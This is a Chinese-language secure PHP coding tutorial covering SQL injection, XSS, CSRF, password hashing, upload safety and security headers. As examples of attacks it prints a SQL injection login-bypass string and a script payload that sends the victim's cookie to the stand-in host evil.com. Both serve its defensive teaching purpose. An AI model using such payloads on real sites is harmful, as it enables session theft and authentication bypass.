PHP 安全编程:防注入、XSS 与 CSRF 实战
从输入验证到输出转义,全面构建 PHP 应用的安全防线
SQL 注入防御:PDO 预处理语句
SQL 注入是 Web 应用最常见的攻击之一。攻击者通过拼接恶意 SQL 语句,绕过认证、窃取数据甚至删除表。防御的核心手段是使用 PDO 预处理语句,彻底分离 SQL 结构与数据。
为什么要用预处理语句
// ❌ 危险:直接拼接 SQL
$username = $_POST['username'];
$sql = "SELECT * FROM users WHERE username = '$username'";
// 攻击者输入: admin' OR '1'='1
// 最终SQL: SELECT * FROM users WHERE username = 'admin' OR '1'='1'
// 结果:返回所有用户,绕过登录验证
// ✅ 安全:PDO 预处理语句
$pdo = new PDO($dsn, $username, $password, [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => false, // 关闭模拟预处理
]);
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute([':username' => $username]);
$user = $stmt->fetch();
预处理语句的安全原理:数据库引擎先将 SQL 模板编译为执行计划,参数作为纯数据传入,永远不会被解释为 SQL 语法。
预处理语句的各种用法
// 命名占位符
$stmt = $pdo->prepare(
'INSERT INTO users (name, email, age) VALUES (:name, :email, :age)'
);
$stmt->execute([
':name' => $name,
':email' => $email,
':age' => $age
]);
// 问号占位符
$stmt = $pdo->prepare(
'UPDATE products SET stock = stock - ? WHERE id = ?'
);
$stmt->execute([$quantity, $productId]);
// IN 子句处理(预处理不支持直接绑定数组)
$ids = [1, 2, 3, 5, 8];
$placeholders = implode(',', array_fill(0, count($ids), '?'));
$stmt = $pdo->prepare("SELECT * FROM products WHERE id IN ($placeholders)");
$stmt->execute($ids);
安全配置清单
| 配置项 | 推荐值 | 说明 |
|---|---|---|
PDO::ATTR_EMULATE_PREPARES | false | 使用真正的数据库预处理 |
PDO::ATTR_ERRMODE | ERRMODE_EXCEPTION | 错误抛异常而非静默忽略 |
display_errors | Off(生产环境) | 不向用户暴露错误细节 |
log_errors | On | 错误记录到日志 |
XSS 防护:输出转义与 CSP
XSS(跨站脚本攻击)是指攻击者注入恶意 JavaScript 代码到页面中,在用户浏览器中执行,从而窃取 Cookie、劫持会话或篡改页面内容。
输出转义
XSS 防御的黄金法则:永远不要信任用户输入,输出时必须转义。
// ❌ 危险:直接输出用户内容
echo "<p>" . $userComment . "</p>";
// 攻击者输入: <script>document.location='http://evil.com/?c='+document.cookie</script>
// ✅ 安全:使用 htmlspecialchars 转义
echo "<p>" . htmlspecialchars($userComment, ENT_QUOTES, 'UTF-8') . "</p>";
// 转义后: <script>document.location=...</script>
htmlspecialchars 参数说明:
ENT_QUOTES:同时转义单引号和双引号'UTF-8':指定字符编码,防止多字节编码绕过
不同上下文的转义策略
XSS 防御的关键难点在于不同 HTML 上下文需要不同的转义方式:
// HTML 文本内容
echo htmlspecialchars($data, ENT_QUOTES, 'UTF-8');
// HTML 属性值(必须加引号)
echo '<input value="' . htmlspecialchars($data, ENT_QUOTES, 'UTF-8') . '">';
// JavaScript 字符串(使用 JSON 编码)
echo '<script>var data = ' . json_encode($data, JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ';</script>';
// URL 参数
echo '<a href="?q=' . urlencode($data) . '">搜索</a>';
| 输出上下文 | 转义函数 | 示例 |
|---|---|---|
| HTML 文本 | htmlspecialchars() | <p>文本</p> |
| HTML 属性 | htmlspecialchars() + 引号 | <input value="..."> |
| JavaScript | json_encode() | var x = "..." |
| URL | urlencode() | ?param=... |
| CSS | 白名单过滤 | color: #fff |
CSP(内容安全策略)
CSP 是浏览器层面的额外防护,通过 HTTP 头限制可加载的资源来源,即使存在 XSS 漏洞也能大幅降低攻击影响:
// 严格 CSP 策略
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self'; img-src 'self' data:; connect-src 'self' https://api.example.com; object-src 'none'; base-uri 'self';");
// 仅报告模式(上线前测试用)
header("Content-Security-Policy-Report-Only: default-src 'self'; report-to /csp-report");
CSRF 令牌防御
CSRF(跨站请求伪造)是指攻击者诱导已登录用户在不知情的情况下发送恶意请求。防御核心是为每个请求附加攻击者无法获取的令牌。
令牌生成与验证
session_start();
// 生成 CSRF 令牌
function generateCsrfToken(): string {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
// 验证 CSRF 令牌
function verifyCsrfToken(string $token): bool {
return !empty($_SESSION['csrf_token'])
&& hash_equals($_SESSION['csrf_token'], $token);
}
// 表单中嵌入令牌
$csrfToken = generateCsrfToken();
echo '<input type="hidden" name="csrf_token" value="' . $csrfToken . '">';
// 处理 POST 请求时验证
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (!verifyCsrfToken($_POST['csrf_token'] ?? '')) {
http_response_code(403);
die('CSRF 令牌验证失败');
}
// 继续处理业务逻辑
}
AJAX 请求的 CSRF 防护
对于 AJAX 请求,令牌通过自定义 HTTP 头传递:
// 将令牌输出到 meta 标签
echo '<meta name="csrf-token" content="' . $csrfToken . '">';
// 前端 AJAX 请求自动附加令牌
const token = document.querySelector('meta[name="csrf-token"]').content;
fetch('/api/update', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
'X-CSRF-Token': token
},
body: JSON.stringify(data)
});
// 后端验证 AJAX 请求的令牌
$token = $_SERVER['HTTP_X_CSRF_TOKEN'] ?? '';
if (!verifyCsrfToken($token)) {
http_response_code(403);
exit(json_encode(['error' => 'CSRF 验证失败']));
}
SameSite Cookie 属性
SameSite 属性是浏览器内置的 CSRF 防护,限制 Cookie 在跨站请求中是否发送:
// 设置 SameSite 属性
setcookie('session_id', $sessionId, [
'expires' => time() + 3600,
'path' => '/',
'secure' => true, // 仅 HTTPS 传输
'httponly' => true, // 禁止 JavaScript 访问
'samesite' => 'Strict' // 或 'Lax'
]);
| SameSite 值 | 行为 |
|---|---|
Strict | 完全不发送跨站 Cookie |
Lax(默认) | GET 导航请求发送,POST 不发送 |
None | 跨站发送(需同时设置 secure) |
密码哈希:password_hash
密码绝不能明文存储,也不能使用 MD5/SHA1 等已被攻破的算法。PHP 提供的 password_hash 函数使用 bcrypt 或 Argon2 算法,自动加盐,是密码存储的标准方案。
// 哈希密码(自动加盐,使用 bcrypt)
$hashedPassword = password_hash($plainPassword, PASSWORD_DEFAULT);
// 输出: $2y$10$xxxxx...(包含算法、成本因子、盐值和哈希结果)
// 验证密码
if (password_verify($inputPassword, $storedHash)) {
// 密码正确
} else {
// 密码错误
}
// 检查是否需要重新哈希(算法升级或成本因子变更时)
if (password_needs_rehash($storedHash, PASSWORD_DEFAULT)) {
$newHash = password_hash($inputPassword, PASSWORD_DEFAULT);
// 更新数据库中的密码哈希
}
使用 Argon2 算法
PHP 7.2+ 支持更安全的 Argon2 算法,可通过参数控制内存和时间开销:
$options = [
'memory_cost' => 1 << 17, // 128MB 内存开销
'time_cost' => 4, // 迭代次数
'threads' => 3, // 线程数
];
$hash = password_hash($password, PASSWORD_ARGON2ID, $options);
文件上传安全
文件上传是高风险攻击面,攻击者可能上传 Web Shell 获取服务器控制权。必须从多层面防御:
function handleUpload(array $file): string {
// 1. 检查上传错误码
if ($file['error'] !== UPLOAD_ERR_OK) {
throw new RuntimeException('上传失败');
}
// 2. 限制文件大小
$maxSize = 5 * 1024 * 1024; // 5MB
if ($file['size'] > $maxSize) {
throw new RuntimeException('文件过大');
}
// 3. 通过 finfo 验证真实 MIME 类型(不信任浏览器发送的 Content-Type)
$finfo = new finfo(FILEINFO_MIME_TYPE);
$mimeType = $finfo->file($file['tmp_name']);
$allowedTypes = ['image/jpeg', 'image/png', 'image/gif', 'application/pdf'];
if (!in_array($mimeType, $allowedTypes, true)) {
throw new RuntimeException('不允许的文件类型');
}
// 4. 生成随机文件名,不使用用户提供的文件名
$extension = match($mimeType) {
'image/jpeg' => 'jpg',
'image/png' => 'png',
'image/gif' => 'gif',
'application/pdf' => 'pdf',
default => 'bin'
};
$safeName = bin2hex(random_bytes(16)) . '.' . $extension;
// 5. 存储到 Web 根目录之外
$uploadDir = '/var/uploads/';
$targetPath = $uploadDir . $safeName;
if (!move_uploaded_file($file['tmp_name'], $targetPath)) {
throw new RuntimeException('文件保存失败');
}
return $safeName;
}
HTTPS 与安全 HTTP 头
强制 HTTPS
// 强制 HTTPS 重定向
if ($_SERVER['HTTPS'] !== 'on' && PHP_SAPI !== 'cli') {
$redirectUrl = 'https://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
header('Location: ' . $redirectUrl, true, 301);
exit;
}
// HSTS 头:告知浏览器后续一年内仅使用 HTTPS 访问
header('Strict-Transport-Security: max-age=31536000; includeSubDomains; preload');
安全 HTTP 头清单
// 防止 MIME 类型嗅探
header('X-Content-Type-Options: nosniff');
// 防止点击劫持
header('X-Frame-Options: DENY'); // 或 SAMEORIGIN
// 控制 Referer 信息
header('Referrer-Policy: strict-origin-when-cross-origin');
// 权限策略(替代已废弃的 Feature-Policy)
header('Permissions-Policy: geolocation=(), microphone=(), camera=()');
// X-XSS-Protection(现代浏览器已内置,但仍建议设置)
header('X-XSS-Protection: 1; mode=block');
| HTTP 头 | 作用 | 推荐值 |
|---|---|---|
Strict-Transport-Security | 强制 HTTPS | max-age=31536000 |
X-Content-Type-Options | 禁止 MIME 嗅探 | nosniff |
X-Frame-Options | 防点击劫持 | DENY |
Content-Security-Policy | 限制资源来源 | 按需配置 |
Referrer-Policy | 控制 Referer | strict-origin-when-cross-origin |
Permissions-Policy | 浏览器功能权限 | 按需禁用 |
输入验证框架
所有外部输入都必须经过验证,这是安全编程的第一道防线:
function validateInput(array $input): array {
$errors = [];
$clean = [];
// 邮箱验证
$email = trim($input['email'] ?? '');
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
$errors['email'] = '邮箱格式不正确';
} else {
$clean['email'] = $email;
}
// 整数验证
$age = filter_var($input['age'] ?? '', FILTER_VALIDATE_INT, [
'options' => ['min_range' => 1, 'max_range' => 150]
]);
if ($age === false) {
$errors['age'] = '年龄必须在 1-150 之间';
} else {
$clean['age'] = $age;
}
// URL 验证
$url = filter_var($input['website'] ?? '', FILTER_VALIDATE_URL);
if ($url === false && !empty($input['website'])) {
$errors['website'] = 'URL 格式不正确';
} else {
$clean['website'] = $url ?: '';
}
// 字符串白名单过滤
$status = $input['status'] ?? '';
$allowedStatuses = ['active', 'inactive', 'pending'];
$clean['status'] = in_array($status, $allowedStatuses, true) ? $status : 'pending';
if ($errors) {
throw new ValidationException($errors);
}
return $clean;
}
总结
PHP 安全编程的核心思想是纵深防御——不依赖单一防线,而是层层设防:
- SQL 注入:始终使用 PDO 预处理语句,关闭模拟预处理
- XSS:输出时一律转义,根据上下文选择正确的转义方式,配合 CSP 策略
- CSRF:生成并验证令牌,设置 SameSite Cookie 属性
- 密码安全:使用
password_hash/password_verify,绝不自造哈希方案 - 文件上传:验证真实 MIME 类型、随机重命名、存储到 Web 根之外
- 传输安全:强制 HTTPS,配置 HSTS 和安全 HTTP 头
- 输入验证:所有外部输入先验证再使用,使用 PHP 内置过滤函数
安全不是一次性的配置,而是贯穿开发全流程的意识。每个外部输入都视为不可信,每次输出都进行转义,这是构建安全 PHP 应用的基石。